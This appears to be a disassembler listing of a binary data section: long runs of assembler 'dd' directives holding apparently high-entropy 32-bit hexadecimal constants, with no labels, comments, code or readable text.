dd 9851A5F7h, 8820C06Bh, 0C6E924C2h, 0E5C086FBh, 65A0604h
dd 540347A9h, 0CCB45066h, 9D7FE87h, 0F625C0Dh, 29C0B177h
dd 2DF7A07Fh, 1D157B02h, 6C49F1E9h, 0E677A49Fh, 483E05EFh
dd 0B482E903h, 0F297EEAEh, 2D08B025h, 0AC7305BEh, 1F4A6E08h
dd 510ACBC1h, 25650491h, 0F45B395Eh, 0BE1556AFh, 81AE0134h
dd 6D716C87h, 380BD648h, 69025C64h, 490AA1FFh, 43E6E571h
dd 0CE16F048h, 4DE9126Bh, 5E25A7A1h, 2E48A1BDh, 0D28BB65Ah
dd 36099A1Ch, 0C51A8209h, 586644Ch, 2EA44FEBh, 6DFAE047h
dd 31B15010h, 0BF786E04h, 118FAF5h, 5C7FD2BCh, 9218EFFCh
dd 0EF5AC751h, 54C4DA8Bh, 49E9E236h, 21F9BD6Bh, 0DBE32B79h
dd 658A5313h, 0FD8382D3h, 63B56BE1h, 2FCA4CFFh, 6F7003F7h
dd 0B24D165Ch, 5160BB1Fh, 37E9D828h, 52224DA0h, 0B16A48E3h
dd 145D67A9h, 0CA8F3AAh, 0B4A120C4h, 92432C3Bh, 8EBB6DA5h
dd 78B717D5h, 2C262EB4h, 2743DD07h, 9CBA2282h, 8002B200h
dd 0F8A94BE2h, 0D2F6182Ch, 20E92EDCh, 2EE758F9h, 264C35CAh
dd 0B6E1D125h, 9398CDE9h, 0CB8055C1h, 9C4A3627h, 817225C5h
dd 337D310Eh, 0B7E2C030h, 0B0705D79h, 762D76BBh, 0F852D259h
dd 0E9CE1724h, 78FC8917h, 0FC7B16F5h, 837D84B1h, 3D0D6802h
dd 36C2B59Bh, 0CFE9A068h, 1024BE4Ah, 6A126282h, 0B6E5572Ch
dd 9D482E6Ch, 9D4F07F1h, 76EA14BFh, 2DB9F94h, 3C25489Ch
dd 3F611372h, 4FB3EC6Fh, 0FF5058A6h, 2861255Dh, 17F7D5C0h
dd 0CA13572Fh, 7F080A69h, 1CC21420h, 0D2E497E9h, 12504A87h
dd 85FDFDADh, 2ACD5BD8h, 0F26A54D9h, 47A78404h, 3B2229ABh
dd 16295C52h, 0B6DB3F41h, 0FE596600h, 3B90C54Ch, 51538108h
dd 0EF88F3B5h, 824B3970h, 4001DF70h, 657A2D48h, 8FFD4EBFh
dd 0B5BD2274h, 0C8B79E6Eh, 0BA32E9BDh, 42C700CCh, 0AE0AB338h
dd 5A77F73Ch, 9DEB89FEh, 32BCCD61h, 20049C5Dh, 3B6CA72Dh
dd 5725417Dh, 60EC51ACh, 1DF3685Eh, 7CD86697h, 0D08181EAh
dd 0EC1ED23Ah, 8AE60153h, 48288310h, 0B05CB2EEh, 8B50971Bh
dd 62E4F07Bh, 6F3623BDh, 0C9E13D9Dh, 4521892h, 0EB779C38h
dd 0A8C1F531h, 40F50848h, 9C0CB25Ch, 34EBC280h, 0D9218064h
dd 0CE6C54B6h, 0AB732EE7h, 46E601B2h, 3129A777h, 0E064F019h
dd 0EEC1100Fh, 4414B802h, 9FED735Eh, 494847D8h, 300E1C15h
dd 5B5C1698h, 7FE92550h, 0EA7CFF42h, 389D0140h, 0D7295E79h
dd 94F1A0A6h, 0F8BF21C3h, 0FCBC2A32h, 9B6E8963h, 4EBCB900h
dd 813F17EEh, 0EA728BF1h, 25FD701Dh, 0F570DD01h, 0B13EC3Dh
dd 70CF8715h, 25E9E8D5h, 7871A98Dh, 6E7BC189h, 0F85C5F00h
dd 62ABE53Eh, 5260CA27h, 5281726Bh, 8542EC88h, 69086805h
dd 1B106EE6h, 0B1BF027Eh, 0FF125F22h, 9B788048h, 0BD7479Fh
dd 7825150h, 0C7575E5Dh, 69D92529h, 626B020h, 0E810FC53h
dd 0DF78592Fh, 2A601695h, 2CC40E9h, 13F8B850h, 0B2602659h
dd 6D5C14D5h, 468C12DCh, 0EC2C75ABh, 4C5730DBh, 12F00ABAh
dd 4EF8976h, 0EECD4B51h, 6E3FE830h, 27367D92h, 0AEC97FA8h
dd 5B0BD67Ch, 88482DDAh
dd 0EB124A05h, 0A0A05243h, 34E92C5Ah, 6B56A52Bh, 0B76C0E2h
dd 0A49683F5h, 87BAA52Ah, 0A44D8735h, 2CCAC45h, 73E96869h
dd 6FBA5F6Ah, 555BC255h, 5381FD47h, 5051D788h, 0EE52FCD0h
dd 96F5F2E6h, 0D5515267h, 876C8840h, 81EA9501h, 99432540h
dd 0C608AF99h, 0CCBF0748h, 0AB019502h, 92BADD85h, 29CEC4h
dd 748F0861h, 12A1B68h, 44E2107Ch, 16FE0C92h, 94050B2Dh
dd 4A9FFC4Bh, 0DB22BE9Bh, 5BFE525Ch, 0C25EB8D7h, 94F4E1E9h
dd 483490FAh, 0C1846DDCh, 0DDB83236h, 9A4366A9h, 62EE81B9h
dd 44F66318h, 0EA99039Eh, 3B6F592Ah, 75522FD9h, 0E7887D9Ah
dd 276C5BFBh, 0F2E9CEB8h, 0ECECB24Fh, 87244F9Dh, 8AE82365h
dd 84BB584Dh, 5AF34FA7h, 0A1F2E893h, 5207EB31h, 81A2443Ch
dd 0A2305A07h, 13162FB3h, 58D42A60h, 0A18F5582h, 6A39200Dh
dd 0A80D9024h, 0D847A19Bh, 591C576h, 5F0C46E5h, 90E3034Dh
dd 0F48562FCh, 925A9157h, 222AE9C9h, 0B45C55AFh, 69C95D96h
dd 50EA4F05h, 0EB04C06Ah, 0B556DB65h, 49080624h, 0C972E914h
dd 5A52A68Dh, 0CD8EA9AEh, 0AD13D726h, 9CD83ED2h, 6743A917h
dd 8E2D92EFh, 1D9BA1A6h, 0CB7D4498h, 0D5C5A34Eh, 6C2DE1CBh
dd 59651F74h, 0AFC316FBh, 89A12F53h, 0C65EC502h, 478F14B6h
dd 8D138220h, 3EEA8D7Dh, 57E7E632h, 777AF1D9h, 53153903h
dd 0C83139E0h, 4BB96C9Dh, 68B34EC3h, 898E212Ah, 66D3EE13h
dd 0E618D4A4h, 2DDFED17h, 7574D06Ah, 0CEF159A5h, 298DB983h
dd 70CB01C1h, 0B75B0F8Dh, 4332FBF0h, 42EF121Ah, 56CEA2B8h
dd 825AD33Eh, 5B9A2192h, 78D882D5h, 9177295Bh, 47205C36h
dd 1B5D6B99h, 0A862BA02h, 0BB0498C6h, 1EE73C9Bh, 0DF5C6BFh
dd 7F3EFC98h, 7C3FAD26h, 0CEEF81E3h, 0A0653242h, 880B312h
dd 37B41DE9h, 0FC554D0Eh, 0C34210E6h, 0C3CEFF02h, 1FB92F30h
dd 1674FCF2h, 0D74A6E16h, 3F85A007h, 0E97C7C3Ch, 2ABCCA9Fh
dd 67105CFBh, 85B2520Fh, 0D3866D05h, 84E7C72Bh, 46DCB025h
dd 84B8899Fh, 80006BE0h, 58660EEBh, 8F202B9Ah, 0B53A5404h
dd 0E4FD5001h, 0CE121683h, 10998B57h, 0DD58082Eh, 9C5DCD25h
dd 0DD6818F8h, 0B525290Dh, 9F852B94h, 80BE8438h, 719A289h
dd 3EBB6D5Ch, 613B8CCEh, 0F6501A6Eh, 0BA6B4CB3h, 48C9A701h
dd 2F09E93Dh, 0E02D860Fh, 0F742E85Eh, 0A2D175D8h, 0F158CAA8h
dd 0D1309665h, 341CA74h, 9744B152h, 0DDED722Eh, 0FAC4E42Fh
dd 5E7A2AF5h, 0E538C9BBh, 0AC8A46F9h, 5E960850h, 4A85CCA0h
dd 40B2E563h, 8BE6E10Dh, 0F4A92C51h, 52E3370Ch, 888C5B1h
dd 8B2ACB1h, 5E12A39Ah, 18864AB9h, 0EA0E938Ch, 337D7FF3h
dd 0BE8B1452h, 3117D646h, 704AFAC3h, 0B3A88149h, 16830B5Ch
dd 61EA80CDh, 0F0F18905h, 0CD979371h, 481410D7h, 3DAA1652h
dd 0C5F33134h, 0B59C50h, 0B952064Fh, 0D854DF95h, 47FBE917h
dd 0EE859727h, 8941C88Dh, 58005D50h, 0D509F681h, 206E1Ch
dd 8903D207h, 0EEC13A76h, 0EC09CDD0h, 29B3051Ch, 0F063E9F7h
dd 0FAB50535h, 444B9004h, 0E0AF79Bh, 0CA182855h, 46AED02h
dd 2315E05h, 276D8FBCh, 55426ACAh, 26FFC7D5h, 0D424CEh
dd 59805B3Fh, 7B9481E9h, 17AB5A17h, 3601EB2Dh, 3F177F38h
dd 0CFEEA03Ah, 487DA43Ah, 6B3B1BE3h, 6921B131h, 7344A32Ah
dd 3AB2DA5Fh, 0CFE18102h, 8B8DEF12h, 444C7A82h, 4BCE3ED3h
dd 106BF3D8h, 5C26813Ah, 2CC817A4h, 969F553Ch, 5D770030h
dd 0E9471346h, 0FAAB51D6h, 949FB5A3h, 2E9389C1h, 0E0E82FF5h
dd 7A6697A2h, 6567DF2Dh, 0FBA40CBDh, 0AB480F4Dh, 400984C1h
dd 8D32A417h, 0BC01D640h, 67FD3CF4h, 72C713B7h, 0E4F49E1Fh
dd 0AE7BF14Bh, 0E55827CBh, 9E5BE79Dh, 0CD79B1D2h, 60A0493Fh
dd 529DEA0Eh, 0A253A0AFh, 3C12751h, 0AA089454h, 8A54124Ah
dd 9064D7Ch, 8133B05Dh, 656C8DE9h, 0BED90471h, 52C1FE00h
dd 2645B63Dh, 589447EEh, 98EAB5BDh, 0EF923F23h, 53BCE0BDh
dd 2D49ACAh, 0CCFE0CECh, 0C784DCF6h, 57D941B1h, 0A42E4D19h
dd 0A50531F3h, 0DF299586h, 4A0962E8h, 1E02126Dh, 5901D861h
dd 0B73E3C87h, 0D33C8B64h, 43096958h, 523853FEh, 3F01AB01h
dd 38060CD9h, 9F08885Bh, 48900C4Dh, 60806119h, 278C8268h
dd 773EA808h, 0F04C180Dh, 8033F110h, 0DB80D142h, 0BDCA8032h
dd 801EEF80h, 0B88063F8h, 6208C4B1h, 8845066Bh, 79D23120h
dd 98D3C308h, 0F6792B18h, 49BE83B7h, 31B6A320h, 34106CFEh
dd 7E088C74h, 635A1872h, 5B5008DEh, 610F1818h, 0C677DB08h
dd 84AE518h, 73E15C63h, 537120BCh, 62C06A20h, 9BA7965h
dd 2C94902h, 460312A4h, 81018C2h, 952008D7h, 826618C6h
dd 93042008h, 31682620h, 0D5285275h, 0B3088CCAh, 0C6B2C120h
dd 86F7610h, 314BC620h, 9E2010F9h, 4CDC01D8h, 166E001h
dd 19019C23h, 0EA08883Eh, 6798080Bh, 28C1F30Ch, 8FA66BEh
dd 0D131C936h, 0ABD90807h, 693A1889h, 18720026h, 8186C733h
dd 3C082A7Ch, 764B20C4h, 8E49431h, 7D01971Bh, 0FFC3017Bh
dd 488E9203h, 20983020h, 6C208E5Bh, 0ECAE2088h, 286AE234h
dd 3208B886h, 3E189CD7h, 45A6F4A3h, 0EAC10819h, 8C51B418h
dd 88856CDh, 1008F8C4h, 594F0C95h, 9A653730h, 0EC444808h
dd 5206FED0h, 53E1185Ah, 112AAB80h, 2931E895h, 0E66A088Bh
dd 9919308Ch, 7A406608h, 96440D9h, 6B282E66h, 333120C9h
dd 58BF7024h, 1F1BE790h, 39D608B4h, 84E9331h, 9002CE67h
dd 5CD880A7h, 0AD8045C9h, 9908C682h, 7831203Dh, 0E0330839h
dd 81711024h, 0CBB824A7h, 0B6085763h, 45283148h, 3A3A959h
dd 0F0712AC8h, 58322AD4h, 107062B0h, 0A5025F42h, 62244925h
dd 0DC7518A8h, 18231808h, 8C94EAFh, 7F782699h, 96C720F9h
dd 2153D937h, 6B0F0848h, 0CE8EF08h, 3008A8C4h, 0F2183163h
dd 0B9081057h, 95A71038h, 28809D19h, 21C188BBh, 29441973h
dd 35E42425h, 664AD340h, 0A953185Ch, 1034B14Dh, 7110984Ch
dd 0C4BC2A66h, 2487C420h, 98B0309Eh, 91810819h, 0DFD318C5h
dd 18FCC448h, 8F69798Ch, 9C6008C7h, 0A4C9E8D4h, 3D5D063Ah
dd 8B5F2E43h, 605573E0h, 473B1040h, 20C752Ch, 0E8913EBh
dd 3DA76FB9h, 44010540h, 4902408Fh, 0F775C90Bh, 8FC9C38Bh
dd 0F003DE40h, 592397B9h, 0FC0C033h, 306B4FB1h, 959D702Ch
dd 54F2BDD6h, 0A1688F0h, 0B7091C9Fh, 30E8CC79h, 0BA0A587Dh
dd 8A333225h, 5B20143Eh, 7AF3B580h, 685EC291h, 602A40CDh
dd 0E953576Ah, 184E3931h, 0F7F48BB0h, 0F1C11C80h, 0DD16FF28h
dd 0E90BD90h, 5E995837h, 6634C5CCh, 0D1E32780h, 9A3DF47Ch
dd 0C0164EBBh, 772CEC6h, 685F2141h, 0C5B05B62h, 0F75C6AB4h
dd 0E3EF02E4h, 80761258h, 4A074287h, 0F10CC141h, 71F9D0E6h
dd 3BC82C53h, 3B038F68h, 23E34601h, 4AC2176Bh, 0C9DA1EDEh
dd 0B75EEF15h, 0E5550D80h, 0E2812Dh, 6110235Bh, 78E9F287h
dd 2DF87A5Bh, 4089BEB5h, 17BF67Eh, 45AFBF57h, 952814AAh
dd 25168A0h, 583CC413h, 138FF8B4h, 0BF77FD50h, 0C22C2C36h
dd 5207E822h, 0B02A184h, 0DFE4B25Ah, 749E656Eh, 20FEE108h
dd 0E1B75ED6h, 0ABE23F13h, 5448EDC6h, 81465E07h, 8E5990EEh
dd 0DDC6C0B1h, 0BDD1E5ECh, 0C53130FAh, 5B542C1Bh, 7402A02Ah
dd 0BE59E495h, 5BDEC216h, 0E9187470h, 0C781EAFDh, 72381B68h
dd 0D7E02E46h, 0CCBA0269h
dd 16B568BDh, 0F6D4A842h, 0B0731837h, 564D9D5Dh, 7C2F492Fh
dd 8D82A762h, 46D7F23Ah, 0A9504EA1h, 96E5F4EDh, 31712C2Ah
dd 6EE11790h, 5DF042D9h, 5B22C494h, 1824BD58h, 0C2D909B2h
dd 0B8BA0208h, 222368D4h, 0AF61C0F6h, 17B8D10h, 0B720C909h
dd 4CC07F61h, 0D21956E9h, 98DFA02Ch, 48A3A74Ah, 108B7918h
dd 0BC5FED80h, 508A02BDh, 0AC3018ECh, 2C1266BEh, 48376EAFh
dd 9DFCE0F5h, 50810E48h, 3810C468h, 0B5518052h, 0FA64B282h
dd 1C5B4D9Ch, 0C7FE7880h, 289AF7E9h, 9E67BF38h, 48D3A43h
dd 0F9C97829h, 9DE7B20h, 5F10D007h, 0D88C3874h, 5EEB2314h
dd 46E85Dh, 10916852h, 955A3F5Eh, 0C9E90901h, 0F860AF39h
dd 0FCA0C55h, 856421F3h, 9DC3449Dh, 8D684768h, 50EC5853h
dd 8469D48Bh, 59945F12h, 0BF9DEC97h, 0B3ADDBD9h, 0F417B40Dh
dd 0D627F735h, 0AD6AC552h, 0B302FDBAh, 8A483656h, 92246859h
dd 0D69A2403h, 0BC87DE97h, 0FFA23B92h, 0D682870h, 9FBCA644h
dd 585445B0h, 0B9ABF86h, 686E9F81h, 602DC9B4h, 45059711h
dd 14193E9h, 0AB2ECCABh, 0B8121D60h, 74556548h, 22050B52h
dd 6D82D3FCh, 0CC4058C7h, 0F6EF9C25h, 5102FBF6h, 0FC4845E9h
dd 7C7F8396h, 0C043385h, 84B45482h, 0CE2FD1BEh, 0E9D13FBEh
dd 316FE617h, 32BC956Fh, 0B9899F3Dh, 6BE27B02h, 69D396D7h
dd 0F4F42966h, 0A0F3E941h, 3A71E004h, 4B8A8497h, 0C33280BFh
dd 3BEE2B85h, 9C872BDh, 0FE6858A1h, 0DA544FABh, 507EE9F0h
dd 77209D3Fh, 0DF33F0F3h, 0F6067D1Eh, 24AF34D0h, 0C9E181E3h
dd 2C1F5470h, 0E87AE3DBh, 7789BEDFh, 2BC135C8h, 31FFC4Ah
dd 204B2705h, 9ADDAB16h, 0BAE84030h, 0D93112B7h, 6C02FE2Ah
dd 812DE829h, 3C4AE90Ah, 74DA8B35h, 3B73EBBDh, 0E9043344h
dd 0AE5FD4F9h, 0F342AF39h, 5A6600ABh, 734AC980h, 0DD6B96A1h
dd 192667FEh, 58943DF5h, 170DF22Bh, 86128E75h, 0D02714EEh
dd 500A4310h, 0BD70FD16h, 0A29868E1h, 222CA5BAh, 27B09850h
dd 547191FBh, 0F6B94D20h, 78E32A19h, 250DD4B5h, 262A7A48h
dd 0D4F70593h, 9574D28Bh, 0B1C3FC2Ch, 71527E17h, 161D250h
dd 28826F9Fh, 8B9BF281h, 0D80EE90Dh, 9559B544h, 39E068C8h
dd 1D36D464h, 32BEE94Ah, 9481C01Ch, 0CC27F580h, 3C9810CDh
dd 0FEA8A65Bh, 86ADFDA5h, 1DB8BE9h, 0C680D6F6h, 20F32851h
dd 0D74055BAh, 88521250h, 4CBB09FAh, 0FBB6BA7Dh, 12030C6Dh
dd 7400C117h, 5FDF37Bh, 136A523Eh, 10C80162h, 0E90B0831h
dd 32078E5h, 724E07AFh, 20C49EDFh, 5AF44CAh, 0B0752B86h
dd 54052C19h, 5D57428Eh, 453AE981h, 30F9CA2Fh, 63A8EE44h
dd 0B76E5F68h, 5B0C4033h, 3853E915h, 4C4458ADh, 50EE2FC9h
dd 91B9AE3h, 2FD706BDh, 0A81F5E8Fh, 16149108h, 28ACA00Bh
dd 3D80F13Ch, 1A4B1083h, 0CE5BB248h, 0FE90CD6h, 7421649h
dd 594FBE56h, 0EF0904ADh, 19687546h, 0EA299D58h, 0E9626653h
dd 77DFEA20h, 0D2473BE8h, 6946D195h, 57F78B7Dh, 6817B516h
dd 38AF0907h, 0E2949571h, 3A7A26h, 5537805Dh, 0F41A28BDh
dd 56296E35h, 496C16Dh, 7F7F8B0Bh, 0B862F104h, 81BFBA4Fh
dd 2FCB986Dh, 0FD54D0D2h, 68156D6Eh, 784A7C4Eh, 6570CA09h
dd 0AD3CF164h, 0DE005C50h, 495EEB78h, 0C105E9C1h, 0D417EA8Ah
dd 0B70C8325h, 0F7E888C5h, 38F0F26h, 957F20EBh, 759A6801h
dd 216499B0h, 11BC40E2h, 37D2A528h, 0D84D72EFh, 5D5EEDCAh
dd 7E09B602h, 4C0FD18h, 5197E931h, 1E5A4D9h, 19490ADBh
dd 7FE850D1h, 5A0E5E12h, 8EE9CB09h, 0DEEE1285h, 0DE90C4Dh
dd 49F71C8Dh, 3D13BFDEh, 0F2550922h, 5ACAB06Ah, 928D4DD7h
dd 12091C17h, 0BBD4B45Bh, 0BA123A60h, 779F13D1h, 0FAF3EB06h
dd 8AEE7F52h, 0E90B3447h, 9A291BA1h, 309895Ch, 7912FDF9h
dd 0E5A032CCh, 28012567h, 0E9D72911h, 8B2A2E30h, 4893D263h
dd 0AA68905Bh, 0C7E91C7Eh, 0F95F383Bh, 15049F79h, 74BE0103h
dd 967FFCD2h, 812B06C9h, 81D4F454h, 359ABA48h, 0B06E68F7h
dd 0BE307AD1h, 64B0B848h, 2138096Eh, 9C7E5FFAh, 0AAB6C281h
dd 0DCDD3A84h, 0DA8AD6E5h, 2D072DD0h, 845A2ED4h, 0B7C7535Dh
dd 9584D799h, 0B5FB905Ch, 0EC7988ADh, 0E32FA82Eh, 23170D69h
dd 1F9312ACh, 0E9DD4255h, 0C577BFB8h, 0F15C45EAh, 55B41398h
dd 0ABBFB1h, 2E5A50BBh, 407264A8h, 7E389E96h, 8218DE97h
dd 8CC22740h, 40649A5Dh, 422E205h, 8E97564h, 6FD3B207h
dd 77B36729h, 0F7AC0B0Eh, 0B1090016h, 42D3E92Eh, 5BA2DD27h
dd 2909F7AEh, 0E544775Ah, 0E3B237FCh, 0F82FB4B3h, 3A583E89h
dd 0BB0597D2h, 833360DBh, 6BA8E3E8h, 0F3EC3FC0h, 0EA3C1202h
dd 57DA8938h, 0E28158C5h, 12944752h, 11FC022Ah, 22DED025h
dd 493CDFC0h, 95C5B551h, 71261580h, 98F1011Fh, 0CB5F31C9h
dd 0DCB0ED5Bh, 0EAB76E4Dh, 0C080C9Eh, 7078099Ch, 2F595B0Fh
dd 0E3687549h, 0DA95F068h, 2777271Bh, 5CE45E7Bh, 0E9CE49A3h
dd 0B057F009h, 2B2FCE5Fh, 9C175811h, 0AC4A0A35h, 25D60AEAh
dd 0C9E09DB5h, 0E5A0DF2Eh, 9D064305h, 1B2D0C00h, 296E917Ah
dd 740F9D8h, 0D73EADE9h, 7A1FF975h, 6A1EAA26h, 77F1DA96h
dd 2E9AE9h, 80C4FE62h, 887DD0ECh, 19480AF8h, 77388B16h
dd 0A9478AB0h, 0BAF75CD2h, 0BD964049h, 0AABD5AC5h, 75C78C91h
dd 475D09A7h, 46E98518h, 640A8DC4h, 0B39E4F1Bh, 0C112226Bh
dd 0F0574633h, 5BAB603Fh, 1814B1CBh, 0D560397Bh, 28596637h
dd 588072EEh, 9644BFEDh, 5DF37730h, 591FF79Bh, 0D0218C52h
dd 0F50CC64Bh, 0C644271h, 0DA3513BBh, 55E1249h, 0B8125930h
dd 54F70244h, 0E0629402h, 7217DBADh, 5BE93705h, 0A8F255EFh
dd 2C5A092Ch, 3A0B763Ch, 12B1510Bh, 50967180h, 0FCEAF9B4h
dd 0AD4C33BAh, 0E2C044Bh, 13B84534h, 9356548h, 589588F6h
dd 5F2ECD67h, 5A9DFEC9h, 16EE8640h, 2A9819E8h, 6875FC00h
dd 3C71E91Ch, 0D4769701h, 0EF457DDAh, 9045093h, 0E71E198Eh
dd 1078B67Ch, 66CF961Fh, 5C4AAB76h, 678AE5ECh, 10BBA08Bh
dd 2014AE1h, 3655F9F3h, 3327E017h, 200E12B2h, 8127EF89h
dd 68028FB4h, 0CAE707F3h, 485DEE8Bh, 910FA768h, 68598416h
dd 128DBBDFh, 4ECF9B7Bh, 0CC8728AEh, 3F21759h, 0C22ABA2Dh
dd 5D0C164h, 745A0742h, 0A3DCADD3h, 440BAA26h, 0E1137F3Dh
dd 954B43DBh, 0F53ECFACh, 6DB264E1h, 6B3BCD52h, 5001F5B4h
dd 55619150h, 827B6E37h, 447F40ADh, 0C7051C67h, 89E9C7B6h
dd 804684C6h, 0D1778ECFh, 47F0444Eh, 55E5BD07h, 39E36805h
dd 211CDEB3h, 913645Dh, 6C83DFAh, 12835F25h, 9007748Ch
dd 5B94B63Fh, 0CF89E01Fh, 9A680C4Bh, 11E5FD3Ah, 0DACBA1A4h
dd 0F2683C51h, 0F16ECCCFh, 2081A49h, 734AC3C5h, 577B4268h
dd 0E963E4F1h, 24158E35h, 93850C3h, 33750144h, 48DDDA55h
dd 91BD6833h, 280EA1Dh, 1DF07CE8h, 12A2C140h, 5BB8D24Ah
dd 5816EA03h, 0A8BBE95Ah, 68122E76h, 0F3461771h, 75E37C7h
dd 7E5359BBh, 99E4A243h, 0F127AC45h, 21494B15h, 0DFA1A545h
dd 4C855C29h, 0C01EE881h, 5CB65276h, 96C60B80h, 0EA2084E9h
dd 0CD743AB8h, 7BFB7F48h, 262F3F13h, 2909D9CEh, 0E40651C7h
dd 0C0031071h, 0C48003ECh, 81FA857Bh, 6F42F282h, 0CE40FB8Bh
dd 0DF47CBEDh, 7EC1F416h, 79521123h, 90594360h, 6866405Eh
dd 74186725h, 25C1E08Fh
dd 0B8017FD7h, 91FC90D2h, 14974E05h, 2DE10A13h, 0BA590F07h
dd 0EDDA9540h, 0BFC201h, 0EE7C3583h, 24FAF255h, 5BDDC4E9h
dd 0B858CADAh, 0A7EF1E96h, 64DB2A87h, 161EA15Dh, 4FA4BF04h
dd 0BC849211h, 5EF26225h, 5692AF74h, 9A9DE909h, 1C16D779h
dd 0E5AF0829h, 8AE512BCh, 143EAF50h, 103AF021h, 58269F6Bh
dd 6D470284h, 0E3607798h, 41E9EA6h, 2190E9CAh, 87E78003h
dd 0F6B9B551h, 35CEF5D5h, 0FD5C4030h, 0BE27A510h, 0C264FC89h
dd 647DD3F7h, 95748B0h, 13FA909h, 0DD1632DFh, 71250047h
dd 1C17094Dh, 57022CDBh, 0CA3CB3E9h, 8CC0B4Eh, 6842D4F9h
dd 0E9A8A18Dh, 2006AC39h, 9E861C0Bh, 0D8A1F7B9h, 0F266E9CBh
dd 0F4CDEB0Eh, 0B0F3E93h, 0C2C5C325h, 0EC1E01D1h, 0EC7D7911h
dd 18B5F23Ch, 0D390CAAh, 8BF0AD0h, 77F03B0Bh, 7AC9291h
dd 1D0E4405h, 6089504Dh, 0DDC22D20h, 0A73B7EE9h, 3062E2A3h
dd 0B382D65Bh, 1C3B4740h, 0F9C3185Fh, 1212EE8Bh, 0AC75A252h
dd 64BE126Bh, 2B8E1D41h, 0A13B0B61h, 0F29FFFECh, 9A4A977Ch
dd 9659B2DFh, 8B2BB7D9h, 9A23100h, 0D2972B0Bh, 5B687F5Eh
dd 41FE337h, 63AB0B2Dh, 7D7835C0h, 210F131Ah, 1C4805D3h
dd 9621FE01h, 0BBA59CB7h, 6116CC78h, 0DC8416EDh, 14840712h
dd 2EF657A0h, 902F1ECh, 43592BE1h, 34D8BD3Ah, 0D9BE2E93h
dd 60E5625Fh, 1543BE0Ch, 27B390B2h, 6D11ABA7h, 6CC0E555h
dd 10374C50h, 0BA00302Ch, 21991B8Bh, 8E0AF281h, 0F90DC211h
dd 5B0A0102h, 2D9AE12Ch, 0BBB83883h, 0A9D4AE51h, 0D7E9CFCBh
dd 0A905F240h, 0EA150877h, 0AE54384Dh, 0BF0EFC7Fh, 0D0A80066h
dd 0CC9C7C7Fh, 0B7AF044Fh, 0EE296606h, 0ACB1E061h, 6E0F12Ch
dd 0D6189558h, 8AA2BB5h, 1B4BFD64h, 1CB95B0Fh, 6A808518h
dd 36BC918h, 963D3E10h, 0D32F9292h, 8A93D1F0h, 81DA10E8h
dd 0F27603F5h, 5456ED14h, 651FFFE5h, 5768658Eh, 226A801h
dd 0D16BA0C7h, 157F203Eh, 94F73316h, 6C43680Bh, 81DE96DDh
dd 0BA00BD81h, 59722533h, 5D027FBCh, 0AB2A9A68h, 255FC2Bh
dd 4D76701Fh, 746A541h, 30870CAh, 3742D9Bh, 0BD14A143h
dd 37E7DF81h, 0CC0FE00h, 0CB3C5379h, 0C5ECB1Ch, 5A8A4915h
dd 3F0102B8h, 896C8256h, 0E3041F9h, 0B6F62F05h, 1034509h
dd 4E255494h, 0D4AA029h, 90483319h, 72530C36h, 49187051h
dd 32606E7Eh, 1AF9B40Ch, 4462B7B7h, 0B3836BC2h, 8DA5B1Dh
dd 74C15E6Ah, 0F72B0DE9h, 0D3AF50C9h, 343C6F17h, 0EADC12FEh
dd 6C5B0B61h, 852FA32Ah, 0ED0CFE9h, 1E4A055Eh, 0CC139746h
dd 5A182715h, 80385649h, 620990BAh, 0B70BA40Fh, 0DA89D8AEh
dd 0FEA5387Bh, 0A268C1E0h, 551D957Eh, 50B900BAh, 8167E82Eh
dd 2F4D77C1h, 0D4F4BF98h, 2E27A51h, 515D295Fh, 23346366h
dd 0EF610B16h, 7382DE4h, 5E49935Fh, 1A757B83h, 6B81F664h
dd 8A2807FBh, 4C83130h, 0B2D8F0E9h, 8244989Eh, 0B67DBFBh
dd 98DFE528h, 80534141h, 4995D2F6h, 0C2CC5580h, 0BEB6FE10h
dd 2BBF80C7h, 0C4353DBEh, 657B551Fh, 1EDEEECDh, 589BA32Fh
dd 0F6A42543h, 5F66065h, 0EE5B6F23h, 0B289640Eh, 17C6CAAFh
dd 1DC716E9h, 522EAABBh, 0BF093A11h, 20FD181Ah, 0CB4B5EADh
dd 0F2D09F44h, 32D83139h, 0A15308C3h, 57935BF1h, 0B43F052Eh
dd 0B7C2D162h, 8A307A17h, 90E95273h, 47532523h, 75A818F1h
dd 33D4A2ACh, 33B2015Fh, 0CA681EC0h, 84A4F9D6h, 0C09C5E06h
dd 792EA43h, 310E6712h, 4AE8B12h, 9CDC5DAh, 0C11CF701h
dd 2DAE7BB5h, 0E9615FF4h, 1A816F80h, 486DA1BBh, 0F6D82B65h
dd 7180017h, 8102D26h, 357A0163h, 6F274A13h, 4B901401h
dd 0A36019BEh, 5EFCEC14h, 1293BC74h, 920AA66Fh, 0D71ECAEFh
dd 0EC05C7C3h, 182EC40h, 58CA8915h, 640BEA8Eh, 9C589B5Bh
dd 0C794B469h, 0C08E322Dh, 0BB59B693h, 9C5615FFh, 2580802Ch
dd 22300674h, 326852D8h, 1D5312A3h, 5A480AD0h, 77E6508Eh
dd 1CA2E5Ch, 7EB73787h, 71388DE9h, 7478802Fh, 0A43DF37Ah
dd 5EED4F22h, 9E38EE93h, 69ED41A3h, 42BA0752h, 0EFD31809h
dd 888604FBh, 0C2018774h, 0BD005697h, 0F30B041Bh, 7B23816Fh
dd 48152675h, 7158C420h, 4E56DAAFh, 8AD8B9Dh, 66530930h
dd 0BF27A10Dh, 0C47F0B57h, 12D5EA9Dh, 2FD28BBAh, 0E5955C5Dh
dd 0B1064002h, 473E0E3Fh, 7D2FEA0h, 3D60243Bh, 0C8CA8BEFh
dd 9CC55809h, 8278261Dh, 6AD2302h, 215D041h, 56CFF59h
dd 9CB15116h, 0AA1274F6h, 0F336CCCEh, 0B7B41E40h, 0C1819BD0h
dd 4E706052h, 0ACADAD4Bh, 2DEE68A0h, 5697B391h, 48D79109h
dd 370C957Fh, 0E37F0705h, 1D03650Dh, 0FF46ACEBh, 0E1645A28h
dd 17DD6B67h, 52A02C7Fh, 9DAE12D2h, 0FE6EA782h, 0B8537098h
dd 0CCE675C1h, 0DA70E864h, 2A860FCEh, 0EE810BBAh, 0F08E583Bh
dd 660E6C1h, 0B628AE12h, 15D2952Fh, 9C888C2Fh, 9722FC5Ah
dd 0BB53DE82h, 3AF7D552h, 246812E4h, 0C2B16430h, 0D70B1E54h
dd 7134CE23h, 6B302C91h, 0E88056F0h, 8853129Bh, 0B906FECFh
dd 4C6213B9h, 3F10995Ch, 555925F2h, 7599759Ch, 235E308h
dd 8818B252h, 0A11096DFh, 0AA74693h, 9130C550h, 5E350ED9h
dd 257B243Ah, 27A31CB8h, 9E9D1E57h, 0E2E98C61h, 0D128462Bh
